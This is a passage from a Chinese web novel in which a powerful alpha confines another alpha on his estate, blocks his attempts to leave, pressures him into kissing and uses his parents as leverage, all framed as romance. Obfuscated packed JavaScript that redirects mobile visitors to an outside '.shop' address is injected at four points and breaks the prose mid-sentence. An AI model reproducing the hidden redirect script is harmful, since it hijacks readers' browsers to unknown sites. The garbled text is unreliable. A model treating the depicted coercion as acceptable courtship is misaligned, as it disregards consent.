“是,这庄园是送给你,”谢相连咬牙切齿说,“你敢赶我走,就永远别想离开这里一步。” 林迎怒道:“你这是在威胁我?” “不,我是在跟你讲事实。”他可以离开这里,相对应的林迎一辈子都得留在这里。 “你出尔反尔,明明说过我不同意不会碰我。” “是吗?”谢相连装傻,“是谁特意打电话把我喊回来的?” 谢相连气到快失语,他如果什么反应都没有,就这么憋屈走掉,他自己都会怀疑自己是不是不行。 林迎没打算和他讲道理,他现在还躺在沙发上,身上谢相连的压迫感让他有些难受,他耍无赖说:“你走开,又想趁火打劫。” 谢相连深深看了他一眼,转身就走。 林迎过了许久才坐起来看一下门口,谢相连不知道去哪了,车也没开走。他迟疑出门,车的钥匙还没有拔下来,他打开车门坐到驾驶座上去,正准备开走,就听到车后面传来谢相连的声音:“从没有人敢戏耍我。” 林迎一扭头,看到不知道什么时候坐在后面的谢相连,听得出来谢相连很在意被他这么挥之即来,挥之即去。 谢相连在车上,林迎不想和他待在一个空间里,索性下车回到屋里去,拿着手机打电话叫家里的司机来接他。司机听到位置莫名其妙,但还是应了,没多久又打了电话来说:“少爷,我过不去,您看能不能喊人去接你?” 林迎莫名其妙:“让你做点事都做不到?” 司机为难说:“路上突然有人别车,我现在真的过不去。” 林迎心里有不好的预感,又给其他人打了电话,结果无一例外,不是车子抛锚就是被人别车,再不济就是差点出车祸,总之没有一个能过来接他走。一个两个是巧合,所有人都没法来接他,那就是某人故意的了。 林迎气冲冲地走到门口,敲了敲车窗。车窗降下来,他看着里面的谢相连问:“你做了什么?” 谢相连哼笑道:“我说过,你赶我走,就一辈子都别想离开这里半步。”他因为开心送林迎庄园,但也会因为不开心,就不让他离开这里半步。 林迎气的有些语无伦次:“你这小人,脑子里除了那种事还有什么?” 他和谢相连说的话,谢相连是一个都听不进去。他不止说过一次,他对谢相连不感兴趣,也不想和他继续纠缠。 谢相连一个字都没听进去,只一个劲说他是他的人。 他又不是物品,有什么理由会是他的人? 谢相连伸手勾住林迎的衣领,把他扯下来。两人眼对着眼,鼻子对着鼻子,呼吸交融。谢相连视线落在他还没干透的衣服上:“我对你要求不多。” 林迎家是暴发户,和他门不当户不对,林迎脑子不太行,性格更差,谢相连统统不在意,只要是林迎这个人就足够了。 “那我可真谢谢你。”林迎拍掉他的手,和他拉开距离,转身又回到屋里去。他就不信谢相连能一直在这里守着他。 谢相连在车里一个电话让助理把他的电脑送过来,紧急的文件也一并送来,他在车里处理。助理送过来的时候还有些懵,把东西交给他后,确定没有其他吩咐才离开。 谢相连漫不经心处理着工作,屋内的林迎在做什么,他不清楚,也不在意。比起耐心,他有的是。 林迎在屋里焦灼来回踱步,能来接他的人都来不了。谢相连的能力在他之上,如果和家里说,家里也许可能派人来接他,可让他和家里人坦白他被谢相连那样,他会无颜再活下去。 他硬着头皮给苏子珩打电话,苏子珩接到他的电话还奇怪问:“你哪去了?” 林迎总不好说他被人绑回家,含糊说:“有点事。” “行吧。”苏子珩习惯了他总是有所隐瞒,反而问他,“你打电话给我有事?” “有点事,就是我有一个朋友……” 苏子珩笑了一声,林迎脸色难看问:“你笑什么?” 苏子珩轻咳一声说:“没什么。” 他在心里腹诽,林迎说有一个朋友,那肯定那个朋友就是林迎自己。苏子珩和他一起长大,还能不知道他有什么朋友? 真正愿意和他做朋友的只有他一个,其他人顶多只算得上是他的小跟班。他也有些好奇林迎有什么事需要来问他,安抚道:“只是突然想起好笑的事,你有什么事说吧。” “就是我有一个朋友,他……他……”林迎欲言又止,苏子珩越听越奇怪,有什么事是值得林迎这样反复思考?像林迎这种没什么脑子的,向来都是有事说什么。 “你现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294893|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人在哪?” “我在哪不重要,”林迎敷衍过去,一口气说完,“就是他突然被一个同性看上。” 苏子珩愣了一下:“还能有人看得上你?” 林迎的脾气可不是一般的差,阿尔法又大多都有大男子主义的毛病,天大地大,面子最大。阿尔法很少和阿尔法在一起,和这坏毛病也有关系。林迎就适合找一个什么都顺着他的人,不然婚姻维持不到半天,就会因为他的臭毛病而破裂。 “不是我!”林迎大喊。 苏子珩不想和他争辩这个,追问道:“谁能看得上你?不是,谁能看得上你朋友?你朋友也是阿尔法吧?” “这个不重要。”林迎特意省略去自己的信息,大致把他被人绑走的事说了。 末了,苏子珩担心问:“你现在安全不?” 林迎奇怪:“我当然安全了。” 林迎还不知道苏子珩早就猜到他口中的朋友是他自己,还催促问:“你到底有没有在帮我……不是,帮他想办法。” 苏子珩想了想说:“先顺着他的意思做吧,不是说他很大方,什么东西都舍得送?” “这有什么关系吗?”林迎不解,“你不会真的觉得他是喜欢他吧?” 苏子珩不想和林迎争辩究竟是不是喜欢,只和他说:“你先试着做一下,不行再说。” 林迎挂了电话,若有所思,苏子珩说的也不是没有道理。谢相连这人疯归疯,确实也算大方。说不准他顺着他的意思,谢相连就会同意不把他关在这里。 林迎咬咬牙决定了,打算先顺着谢相连的意思,虽然他很讨厌谢相连对他做的事,可他到底是阿尔法,被碰一下也没什么,只要其他人不知道他和谢相连的关系,他的面子就还挂得住。 他说服了自己,可去找谢相连的时候还是有些别扭。 谢相连正处理着工作,余光瞥到林迎出来,漫不经心问:“想通了?” 林迎小声说:“我只是没做好准备。” 谢相连合上笔记本电脑抬眼看他:“现在做好了?” “差不多。”林迎含糊说,谢相连推开车门,却坐在原地没有要下车,更没有要腾位置给他的意思。 林迎想着只是简单给谢相连一点甜头,在车上就可以解决,确实没有必要去楼上。他上前一步,谢相连拉住他的手,扯了他一把。 林迎踉跄着跨坐在谢相连腿上,他想要爬过去,谢相连却将他按在他身上说:“就这样。” 林迎浑身不自在,忍着揍他的冲动,和他商量:“我帮你,但你不能阻止我离开这里。” “行。”谢相连答应得干脆。 林迎有些笨拙地伸手去碰他,身体竭力和谢相连保持距离,他刚碰到,谢相连就拉住他,吻住他的唇。林迎挣扎着去踢谢相连,谢相连唇碰着他的唇,呼吸打在他脸上:“我可没说那么简单就放过你。” 他没直接要了他,都算他脾气好。 9. 第 9 章 林迎还是高估了自己的心理接受能力,他以为他忍一忍能过去,可从小就被惯坏的他,怎么可能忍得下去,立马就皱眉说:“我反悔了。” 谢相连哼了一声说:“已经晚了。” 林迎挣扎着往车下爬,谢相连一把把他抓回来,车门顺手带上去,把林迎压在座椅上。 “一次就够了,你还来第二次。” 真当他是什么大好人,被他这么撩拨都不会有半点想法。 林迎动弹不得,可又不想妥协,挑衅笑着试图说服他:“亲嘴有什么好的?你看自然界那些动物都没有亲嘴的,人类是怪胎才会亲嘴。” 谢相连笑话他:“那么在意,你是初吻?” 林迎嘴角的笑僵住,他这是什么意思?是在看不起他。 “我是不是初吻和你有什么关系?” 谢相连说:“不是初吻,那么在意做什么?” 林迎憋得脸色通红,为了面子,干脆豁出去。 “是不是初吻?你试试不就知道了。” 谢相连把人吻得七荤八素,声音带着笑意说:“那你该庆幸,我的是初吻。” 林迎脑子晕乎乎的,无力吐槽他是不是初吻和他有什么关系,他又不想要他的初吻,是他强加给他的。 林迎被吻得迷迷糊糊的,谢相连让做什么林迎就做什么,简单收了点利息,谢相连把人抱在怀里,林迎不自在的挣扎着说:“松开,已经结束了。” 谢相连吻了下他的唇,松开他,林迎和他保持最远距离,紧紧贴在门边,有气无力和他说:“你答应我的,不会把我关在这。” 谢相连笑盈盈说:“法治社会我怎么会关你?” 林迎瞪着眼看他,谢相连说:“只是你自己没有本事离开这里而已。” 他在林迎生气之前把钥匙拿出来丢给他。 林迎接到车钥匙眼睛一亮,等他离开这里,他发誓他再也不会被谢相连找到。他出国也好,把自己藏起来也好,谢相连别想看到他的一片衣角。 “下车。”林迎命令道。 谢相连无奈说:“这钥匙是另一辆车的。” 林迎半信半疑看他:“你不会耍我吧?” 谢相连说:“我现在可以带你去车库,不过你确定要这样离开?”他上下打量了林迎一眼。 林迎低头看了一眼,他身上的酒渍还没干,衣服也皱巴巴的。仔细闻还能闻到他身上带着谢相连的信息素味道。谢相连没有故意放信息素欺负他,可情动之时还是难免泄出了些许信息素。 他推开车门,上了楼,嫌弃地把自己里里外外洗了个遍,为了洗去谢相连的信息素,他还用了不少沐浴露。洗完穿上衣服闻了半天,确保闻不出谢相连的信息素才推开门出去。 一出门就看到谢相连正坐在床上,林迎警惕看着他。 谢相连起身:“去车库。” 谢相连带着他去了车库,车库是地下车库,一眼扫过去大概有三十来辆车。 林迎跟在谢相连身后,憋了半天,问他:“停那么多车在这里干什么?” 谢相连不答,只是说:“你手里拿的是新车钥匙。” “你说新车就新车,能开就行。” “送你了。”谢相连说。 林迎又是一愣,继而怒道:“你把我当什么了?” 刚让他做那种事就给他一辆车,是当做嫖资吗?他越想越生气。 谢相连看到他脸上微妙的表情,伸手说:“不要还我。” “想得美。”林迎拒绝。到了他手里,他怎么可能会还回去?但他不承认这是嫖资,这是对他心理创伤的补偿。 林迎上了车,头也不回把车开出去,一路开到市区,他才将车速放慢,看了眼后视镜,后视镜里没有看到任何跟着他的车。谢相连真的就这么放他回来了? 他依旧有些忐忑,想了想将车开到了苏子珩家里去。 苏子珩看到林迎,下意识转身就想走,林迎已经快步上去,一把把他揪住。 苏子珩举手投降说:“错了错了,不躲着你了。” 林迎推了他一下:“每次看到我就走,你什么毛病?” 苏子珩苦着脸说:“那还不是每次见到你都没有好事。” “什么意思?”林迎眯着眼。 苏子珩改口说:“没什么意思,你怎么突然想到来找我?” 虽然是好友没错,可林迎平时很少来找他,林迎更喜欢去跟那些狐朋狗友一起玩,只有正事才会想起他。既然来找他,那应该是有正事吧。 苏子珩想起不久前林迎打给他的电话,他又仔仔细细将林迎打量了一遍。 林迎不自在的拉了下衣领,问:“你看什么?” 苏子珩说:“看你身上有没有留草莓。” 林迎抬脚就踹他,苏子珩说:“开玩笑的。” 林迎却是被说中了,感觉浑身上下像是有千万只蚂蚁在咬他,又庆幸谢相连没有发疯,真的只是和他接吻,没有做越界的事。 “不过你嘴唇怎么那么红?” 他刚想着,苏子珩这不要命的就提起这事,林迎咬牙切齿道:“你就见不得我好是吧?” 苏子珩一头雾水说:“我只是随口一问。” 林迎不想和他纠缠这个,把他往屋里赶:“有事和你商量。” 苏子珩和他一起进了屋里,从冰箱拿了一瓶苏打水丢给他,自己也拿了一瓶,边打开边问他:“和今天说的事有关?” 林迎干脆说:“你不觉得有些阿尔法很坏?” 苏子珩问:“什么意思?” 林迎激动:“有的阿尔法就仗着自己厉害,用自己的信息素去压其他阿尔法,简直是社会的一大败类。” 苏子珩没说话,林迎催促道:“你哑巴了?” 苏子珩缓缓说:“你以前不也这么对别人,怎么现在别人这么对你,你就受不了了?” “我什么时候这么对别人?”他说完又说,“我就算这么对别人又怎么样?我有这个资本。” 林迎正在气头上,气完又眯着眼瞪苏子珩:“我什么时候和你说那个人是我了?” 苏子珩无语回答:“你什么时候对其他人上过心?你在意的从来只有你自己,你口中的朋友除了你自己还能是别人?” 林迎都干脆找到他这里来了,苏子珩也不怕戳穿他。 被戳穿林迎果然脸色难看,脸色又青又紫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294894|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 苏子珩好奇问:“你不会和他做了吧?” 林迎一个眼神,苏子珩立马说:“我开玩笑的,你没有和我说过。我只是好奇,有什么人那么大能耐。” 他眼珠子一转,试探问:“不会是谢相连吧?” “是不是他很重要吗?”林迎不是很想告诉苏子珩,苏子珩就跟钻进他肚子里一样,知道一点东西,又能接二连三猜出更多真相。 就算林迎不说,苏子珩已经猜到了。近期林迎只对谢相连感兴趣过,其他人他提都没提过,上一次又在宴会门口遇到人二话不说就跑掉。 “你在想什么?你的表情看着很恶心。” 林迎的话让苏子珩回过神来,苏子珩干笑说:“没有什么。” 林迎给自己猛地大灌了一口苏打水,舒了口气。 “算了,和你说也没什么用,我先走了。” 他刚起身,苏子珩就喊住他:“你是偷偷来找我的?” 林迎扭头看他,苏子珩迟疑说:“如果你真的和谢相连有点什么,他可能不会那么轻易放过你。” 他把手机拿出来给他看了一眼:“这个热搜你应该也看到了吧,他说他有个爱人,那个爱人如果指的是你的话,我想他不会轻易放你走。” 林迎皱眉说:“他不想放过我就能不放过我?他什么人啊?” “这个时候就别说气话了,”苏子珩无奈,“你是斗不过他的,如果你手里有他把柄的话,他更不会放过你。” 一提起把柄,林迎心里咯噔了一下。他现在最不想的就是让其他人知道他跟谢相连有一腿,而且他还是被压的那一个。 林迎不说话,苏子珩和他分析说:“你躲起来很简单,但你躲起来有什么用?说不准他会找到林家去,到时候你不想让你爸妈知道的,也许他们就知道了。” 苏子珩太了解林迎了,林迎在外面虽然玩世不恭,也我行我素惯了,可只要是林迎他妈说的话,他多少都会听一些。以前林迎经常和人打架,除非他闹得太大,学校去通知家长,不然林迎一个字都不会跟家里透露,不管打赢打输,有没有受伤,都要求苏子珩不允许告诉他家里。 林迎沉默许久,他不否认苏子珩说的有道理。以谢相连那种性格,如果找不到他,可能真的会跑到林家去,到时候他爸妈就都知道他们发生了什么事。 他不想被别人知道他和谢相连的事,尤其是他爸妈。 “那能怎么办?难道我回去找他?” 苏子珩说:“如果他对你还不错,你们可以试着相处一下。” “都跟你说了,他是疯子,就想折磨我。” 苏子珩哈哈笑了两声,林迎抬手给了他一肘子。苏子珩闭了嘴,抬头无语望天,他该怎么和林迎解释如果谢相连想要折磨他,根本就不会放他回来,更不会送他东西。不过依着林迎这个木头脑袋,不管他说什么,到最后都会被林迎曲解成他为谢相连说话。 苏子珩琢磨着说:“你我兄弟一场,跟你说实话,你现在最好先把他哄着,左右他也没有对你做什么过分的事。” 林迎欲言又止,有苦难言,嘴角抽了抽,最后抿着唇,把谢相连对他做的那些变态事都咽了下去。 10. 第 10 章 “对了,刚刚看你开的车是新车,你什么时候买新车了?”苏子珩对林迎的新车很感兴趣,见他不说话,就出去对着他的车左摸右摸,另一边嘴里感慨道,“这车不错啊,也是他送你的?我就说他这人还不错,而且他私生活也干净。真在一起,你吃不了什么亏。” “到底我是你朋友还是他是你朋友?” 苏子珩一本正经说:“我也是说实话,但凡换其他一个肥头大耳的老总,我一定会劝你离对方越远越好。谢相连不一样啊,他在业内口碑不是一般的好。你不信可以回去问你爸妈。” 林迎嗤笑一声,没有接他的话茬。对他爸妈来说,谢相连肯定是不错的。谢相连家世好,自己又有能力。不光是他爸妈,但凡有点眼光的,都会觉得他人不错。 人不错归不错,问题就出在谢相连和他一样是阿尔法,他连想和他继续接触的想法都没有。谢相连如果是欧米伽,他也许可以试着和他接触一下。就算最后不成,他也没有什么损失。 一切都很好,唯一的问题就出在性别不合适。 林迎一把推开趴在车上美得不行的好友,上了车将车开走。他回到他家去,至于谢相连那边,谢相连发现再说,想了想,还是把谢相连的联系方式拉黑。 先让他清静几天再说,他是不敢直接不管谢相连,但不是说谢相连很忙吗,既然这样,他消失几天,谢相连应该不会发现。 林迎就这么自在地过了几天,三天过去,他正在和他的跟班们商量要去哪玩,他老妈一个电话就打了过来。众人很有眼色地往旁边挪了挪,声音也放小了。 林迎接了电话,那边老妈着急说:“林迎啊,你去哪了?” “怎么了?没有给老妈你丢脸,放心吧。” 老妈有些担心说:“你是不是和谢家的公子有来往?” 一听到谢家,林迎立马就警惕起来,不自觉地握紧了拳头,问:“怎么了?妈你怎么突然提起他来了?” “也不是什么重要的事,就是他来林家了,上次我看你们是一起走的,想着他可能是来找你的。” “他已经在我们家了?!” 林迎腾地一下就站起来,跟班们刚想喊住他,却见他头也不回地甩上门离开。上了车,林迎听到他老妈说:“对呀,他来咱们家了,不过什么话也没说,我和你爸也不知道该怎么办。” “你和老爸别管他,我现在就回去,让我来处理就好。” 老妈担心问:“你们两个没有过节吧?”她儿子惹祸的能力她比谁都清楚,就怕林迎惹了谢相连,现在回来,怕他会被谢相连打。 “没事,我能解决,我很快就到。”丢下这句话,林迎猛踩油门,急匆匆赶回林家。一开门就看到谢相连坐在沙发上,他爸妈站在不远处。 他当即上前揪起谢相连的衣领质问:“你来我家做什么?” 老妈急了,连忙说:“没事没事,你先松开他。” 林迎瞪她:“他都坐在这了,你们二老还站着,还说没事?” 老爸有些尴尬说:“我们只是喜欢站着,和他没有关系。” 林迎一顿,看向谢相连。 谢相连紧紧盯着他,淡声说:“叔叔阿姨说坐久了,想站着,让我坐下,不然他们会不自在。” 林迎看看他,又看看他爸妈。老妈看林迎已经回来了,于是和谢相连说:“我儿子也回来了,你们有什么事在这里说吧。”她担心儿子被欺负,不想离开。 谢相连看着林迎,林迎在他开口前一把把他薅起来往自己房间带。 “我和他单独聊聊就可以,你们别上来。” 林迎自己在外面住,但家里留有他的房间。他把人带回自己房间,门关上,皱眉问他:“你来我家做什么?” “如果不是某人把我拉黑,我也不会来这。” “那是我的手机,我想拉黑就拉黑。” 谢相连赞同点头说:“我的脚想去哪就去哪。” 林迎:“……” 林迎说不过他,警告他说:“你不许在我爸妈面前乱说话。” “你知道做什么我不会乱说。” 林迎眼皮跳了跳,这家伙威胁他威胁到他家里来了。他绞尽脑汁想着该怎么把谢相连赶走,却听谢相连开始说奇怪的话:“我看叔叔阿姨倒是挺欢迎我来的。” 林迎冷笑:“他们好端端的欢迎你来做什么?别以为我不知道,你们之前根本不认识。” “以前是以前,但上次在宴会上,我们就互相认识了。” 一提起宴会,林迎防备道:“宴会是你搞的鬼吧?” 谢相连伸手捻起林迎的一缕头发送到鼻前,林迎的头发有些长,洗得干干净净的,上面有清爽的洗发水味道。闻不到任何一点和他有关的信息素,这样就算了,还若有若无带着其他欧米伽或者阿尔法的味道。他眼神暗了暗,不过是几天没见,就在外面招花引蝶。 林迎伸手拍开谢相连的手,严肃说:“别动手动脚的,就算认识了,那又怎么样?” 谢相连无辜看他:“家里的事一点也不和你说?” 林迎顿了一下,给自己找补说:“有重要的事当然会和我说,其他小事肯定不会和我说,难道你的事很重要?” 谢相连一边伸手去拉下林迎的衣领,一边说:“你爸妈最近想和谢家合作。” “合作?” 林迎怔了怔,他还真的不知道他爸妈有这个打算。但这样就不奇怪了,怪不得上次聚会会参加。林家和谢家一直都没有任何交集,林家平时也比较少参加宴会,就算参加也不会叫上他。上次叫上他,八成是谢相连要求的。 一想到谢相连在算计自己,林迎的脸色就肉眼可见变得难看。不就仗着有点权势,欺负人吗? 谢相连的视线落在林迎的锁骨上,林迎锁骨和脖子上干干净净,没有奇怪的东西,谢相连心情好了不少。还好林迎没有乱搞,要是真敢乱搞,他不确定他会做出什么不理智的事来。 “你在做什么?”林迎回神发现谢相连在扒他的衣服,用力甩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294895|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开他的手,理直气壮说,“想合作就合作,和我有什么关系?” 他爸妈又不会为了能和谢家合作就把他卖了,他可是家里的独苗苗。 “林家有什么?”谢相连被甩开了手也不生气,抱胸笑着问他,“是有钱还是有人脉?” 林迎不是傻子,听到这话就知道谢相连是什么意思。林家没有他需要的东西,他不会和林家合作。会和林家有来往,不过是因为他想见他。虽然听起来肉麻又恶心,可事实是如此。 林迎只是犹豫了一秒,就说:“没有你需要的,那就不合作。” “可我怎么觉得叔叔挺在意这个合作的。” “你说再多也没用,我家不欢迎你,你走吧。” 这么油盐不进的人也挺少见的,谢相连无奈说:“既然这样,那只好跟叔叔阿姨好好说说我们俩之间的关系,我想叔叔阿姨会挺愿意接受我这个女婿的。”他说着就要去开门。 林迎一把抓住他的手,咬牙切齿说:“你敢说一声试试。” 谢相连笑了:“正好,你可以和我一起下去,看看我到底敢不敢说。” 两人僵持不下,门外突然有人敲了敲门,老妈担忧的声音传进来:“你们两个在里面没有吵架吧?” “没有吵架,”林迎把谢相连往屋里推了推,压低声音问,“你到底想做什么?” 谢相连干脆说:“我和你说过我易感期要到了。” 林迎:“我也和你说过,我帮不了你什么,我和你一样是阿尔法。” “你帮得了。” 谢相连不讲理,林迎快被他气炸了,嘲讽他说:“你这么大岁数了,以前的易感期难道都是阿尔法帮你度过的?” 林迎自认为自己攻击力还算强,经常能把人说得说不出话来。 谢相连沉默了两秒,然后问他:“我岁数很大?” 林迎一噎,一时不知道该说什么。重点是前面那句话吗?难道不是他后面那句话? 谢相连又说:“我只比你大五岁。” 林迎气笑了:“我是在和你讨论岁数大不大吗?” 谢相连反应过来,宠溺说:“放心,以前我没找过任何人。” “你是人吗?” 林迎吐槽,他说的那么明白,又是骂他,又是嘲讽他,谢相连还在这和他笑嘻嘻的,每次他和他说话,谢相连总是要曲解他的意思。 林迎指着门口说:“滚,我不想见到你。” 谢相连从善如流点头:“行,我去和叔叔阿姨说。” 林迎把他扯回来,忍了又忍,问:“你到底想要什么?” “易感期你陪我,不用你做什么。”谢相连不厌其烦地再一次重申他的诉求。 林迎冷声说:“你是阿尔法,我也是阿尔法,会不知道阿尔法这些骗人的鬼话?” “你和其他人说过这种话?” 谢相连声音里的火药味林迎听得分明,又不怕死地刺激他:“我是阿尔法,阿尔法该做的那些事,我当然都做过。” 11. 第 11 章 谢相连盯着他不说话,林迎被他盯着有些害怕,可看他这样,心里也爽得不行。叫他总是欺负自己,这下好了,听他这样说,总不会继续缠着他了吧。 两人相对无言片刻,谢相连笑了:“你不用激我,我知道你没和别人好过。” “我有没有和别人好过,你怎么知道?”林迎嗤笑,“想和我好的不知道有多少。” “想和你好的确实有很多,但你一个都瞧不上。” “你调查我?”林迎瞪他。 谢相连无辜道:“我不调查也知道。” 这个还真的不是谢相连调查出来的结果,他要的不过是林迎的基础信息,至于林迎瞧不上任何人,只是他从这些信息里分析出来的。他一诈,没想到还真给诈出来了。 “我对其他人有没有兴趣,你放我出去,我给你看看!”林迎豁出去了,就算他本来没有这种想法,可如果能借此摆脱谢相连,那也值了。 “以前是以前,你没有和人不清不楚,我很开心,”谢相连慢条斯理地说,“但这不是你现在能出去沾花惹草的理由。” “我就做。” 谢相连越是不允许林迎做的,林迎越想去做,一切都以恶心谢相连为标准。 “林迎。”谢相连喊了他一声。 林迎抬着下巴,一副天不怕地不怕的模样。若有若无的阿尔法信息素靠近,林迎一闻到这信息素味道就想干呕。 谢相连的信息素他说不出来是什么味道,只觉得让他呼吸都觉得困难,他难受皱眉,下意识后退。 见他怕了,谢相连深吸了口气,稳了稳信息素。他易感期是真的要到了,身上的信息素总是容易随着他的情绪而泄露。他有意克制,奈何林迎的话总是在挑衅他。 他想让林迎浑身上下都裹满他的信息素,见着他就走不动路,最好是连句话也说不出来,免得总是说他不爱听的话。 “我不要求你做什么,你只要在我身边,帮我度过易感期就够了。”谢相连妥协说。 阿尔法刻在骨子里的想要将爱人标记的冲动,他也愿意暂时压下来,等林迎心甘情愿被他标记的那一天他再标记他。 “同时,我也会给林家一个机会。” 前面的话林迎并不心动,后面那句话让他迟疑了。林家不要求他做什么,可他到底是林家的人,他爸妈也宠着他。他作天作地,只要不违法,他爸妈都能护着他。如果真的能帮到林家的话…… 林迎不确定问:“你能保证不会对我做什么?” “只要我在旁边就够了,我什么时候骗过你?” “上次!”林迎立马说,“你说不会动我。” 他说的上次,指的是在庄园的那个晚上。 谢相连说:“前提是你别搞小动作。” 林迎依旧梗着脖子不愿意认错,是谢相连先不顾他的意愿将他带回去,怎么还有理了?他就算是当天晚上把庄园烧了,谢相连也得硬吃下这个亏。 只是林迎怎么也不会想到,如果他真的是只是放火烧庄园,谢相连还不会说什么。谢相连气的是他想偷偷跑掉。他能毫不犹豫把庄园送给他,本质上来说,他也不在乎这点钱。 林迎还在想着该做什么才能让谢相连放弃,就听门外老妈的声音又传来了:“你们两个真的没有吵架吗?”老妈的声音很不安,“有什么事出来说吧,我们是长辈,也能参考一下。” 能不能参考都是后话,当务之急是让她的宝贝儿子开门,免得在里面被欺负了,他们也帮不上什么忙。儿子不争气没关系,但不能被其他人欺负。平时林迎做错事,她罚归罚,但不会真的把人弄伤。 谢相连是一个外人,她心里没底。哪怕谢家有权有势,他们有意和谢家合作,但林迎是她怀胎十月生下来的孩子,和她骨肉相连。就是这么大一个人生个病,她都会急得不行,更别说是现在在屋里一点动静也没有。 她不知道是真的没事,还是被威胁了才不敢出声? 老爸也用力敲了门,喊道:“林迎,出来!别让你妈担心。” 二老话语里的关心林迎都听得出来,林迎动摇了:“说好了,我只是跟你回去。我不会想着跑,但你也得遵守约定。” 谢相连伸手揉了揉林迎毛茸茸的脑袋,林迎拍开他的手,扭头朝门外说:“没事,我们这就出来。” 门打开,林迎看到了老妈故作淡定的笑容,在看到他真的毫发无伤后,老妈显而易见的松了口气,又去看谢相连。 “我们真的没事,老妈你别担心。” 老妈应和道:“没事就好,没事就好。”她抬眼去看老爸,示意他说句话。 老爸瞪着眼睛,不知道该说什么。自家儿子现在没事,他又蠢蠢欲动,想看能不能和谢相连谈一下生意上的事。 林迎看出来老爸在想什么,翻了个白眼,推了谢相连一把:“我们有事就先走了,你们想找他聊天,以后再找他聊。” “都回来了,吃个饭再走吧。”老妈想和林迎多相处一会儿,也想看能不能给老公提供个机会和谢相连好好谈谈。 林迎不乐意:“都说了有事了,有什么事你们以后再说不行吗?” “你小子犯浑是吧?怎么跟你妈说话的?” 林迎嗷了一声,快步往外走去,见谢相连还在那里,没好气说:“不走你就留在这里得了。” 谢相连礼貌地冲林家父母点了点头,跟着林迎下楼。 林迎开的车是那天从谢相连那里开走的那辆,他坐到了副驾驶座上,想了想又下来绕了一圈,坐到了后面去。抬了抬下巴,和刚来的谢相连说:“你开车。” 谢相连撑着车顶,垂眸看他:“坐前面来。” “不坐。”林迎拒绝得也干脆。 谢相连回头看了一眼,他还没说什么,林迎就说:“坐坐坐,我坐前面去,别总是用我爸妈威胁我。” 他下了车,用力地将车门甩上。 谢相连提醒说:“这车是你的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294896|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林迎顿了一下,问他:“真的?” “赠与协议都写好了,”谢相连坐到了驾驶座上,林迎坐到副驾驶座上,他才说:“如果不是你失踪几天,现在这车早就写你的名了。” 林迎很满意,说起大方,谢相连倒也是真的大方。他轻咳一声,让自己清醒一点,免得被这泼天的富贵冲昏了头脑。和谢相连商量:“你易感期那天,我不会和你待在一个房间。” 他掰着手指,有理有据地分析,“我们都是阿尔法,你的信息素会让我难受。” 谢相连说:“你迟早得习惯我的信息素。” 不,我一点也不想习惯。林迎在心里吐槽,很不理解问他:“就算我们在一个房间,我也不能做什么。非要我非让你和我在一个房间里干嘛?你到时候发起疯来,谁知道你会做什么?” 阿尔法的信息素也是占有欲的一种表现,易感期尤其明显。同类进入范围内就会无差别攻击,他也是阿尔法,易感期的时候,熟悉的人靠近他都受不了,更别说他和谢相连两个人那么不对付。搞不好,到时候他也会跟着发疯,和他打起来。 林迎想着的是为自己的人身安全着想,谢相连想的却更多。以他的性子,他认定了林迎。如果林迎和他在一个房间,他肯定克制不住自己。以目前林迎对他的抗拒来看,如果到时候他用强的,林迎又抗拒得很,他一定会失去理智。他也没法保证到时他会不会做出伤害林迎的事来。 “行,到时你在外面就行。” 听他答应,林迎又开始说:“束缚服什么的也得准备。” 谢相连看他。 林迎连忙说:“一个门难道关得住你吗?” 一个门可能还真的关不住谢相连。林迎对他来说就像一块肥肉,而他是一只饿了很久的野兽。这么一块肥肉放他面前,他不可能忍得住。 “行。”谢相连答应了。 林迎又想说,谢相连警告他:“别得寸进尺。” 林迎闭了嘴,不理他了。 谢相连开车路过一个超市的时候停了下来。林迎看他下车,想起上次谢相连下了车回来之后丢给他一袋小孩嗝屁袋,立马警觉问他:“你下去干什么?” 谢相连不说话,只径直进了超市,很快就出来,拿了一袋东西。这次没丢给他,直接丢到后座上。 